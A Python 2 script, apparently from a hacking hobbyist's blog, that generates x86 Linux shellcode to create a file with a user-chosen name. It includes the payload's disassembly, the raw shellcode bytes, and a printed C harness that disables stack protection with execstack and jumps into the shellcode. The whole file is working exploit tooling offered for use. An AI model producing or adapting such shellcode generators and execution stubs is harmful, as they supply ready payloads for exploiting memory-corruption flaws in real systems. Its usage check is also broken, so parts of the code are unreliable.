#!/bin/python
from sys import argv
"""
Shellcode Generator...
Create file with permission 7775
---------------------------------------------------------------------------------
Disassembly of section .text:
08048060 <.text>:
8048060: eb 12 jmp 0x8048074
8048062: 5b pop %ebx
8048063: 31 c0 xor %eax,%eax
8048065: 88 43 05 mov %al,0x5(%ebx)
8048068: b0 08 mov $0x8,%al
804806a: b1 ff mov $0xff,%cl
804806c: b5 ff mov $0xff,%ch
804806e: cd 80 int $0x80
8048070: b0 01 mov $0x1,%al
8048072: cd 80 int $0x80
8048074: e8 e9 ff ff ff call 0x8048062
8048079: 61 popa
804807a: 6a 69 push $0x69
804807c: 74 68 je 0x80480e6
804807e: 23 .byte 0x23
---------------------------------------------------------------------------------
b4ck 2 h4ck --- Ajith Kp [@ajithkp560] --- http://www.terminalcoders.blogspot.com
Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
"""
bann3r = '''
/*
[][][][][][][][][][][][][][][][][][][][][][][]
[] []
[] c0d3d by Ajith Kp [ajithkp560] []
[] http://www.terminalcoders.blogspot.in []
[] []
[][][][][][][][][][][][][][][][][][][][][][][]
*/
'''
sh3ll = "\\xeb\\x12\\x5b\\x31\\xc0\\x88\\x43"
sh311 ="\\xb0\\x08\\xb1\\xff\\xb5\\xff\\xcd\\x80\\xb0\\x01\\xcd\\x80\\xe8\\xe9\\xff\\xff\\xff"
print bann3r
if len(argv)<1:
print 'Usage: '+argv[0]+' name_of_file'
else:
fil3 = argv[1]
h3x = ''
for i in range(len(fil3)):
h3x+=str('\\'+hex(ord(fil3[i]))[1:])
h3x+=str('\\' + 'x23')
l3n = '\\x'+hex((len(fil3)))[2:].zfill(2)
sh = str(sh3ll) + str(l3n) + str(sh311) + str(h3x)
print '// Compile with'
print '// $ gcc -o output source.c'
print '// $ execstack -s output'
print '// $ ./output'
print '////////////////////////////////////////////\n'
print '# include <stdio.h>'
print 'char sh[] = "'+sh+'";'
print 'main(int argc, char **argv)'
print '''{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();'''
print '}'
print '\n////////////////////////////////////////////'
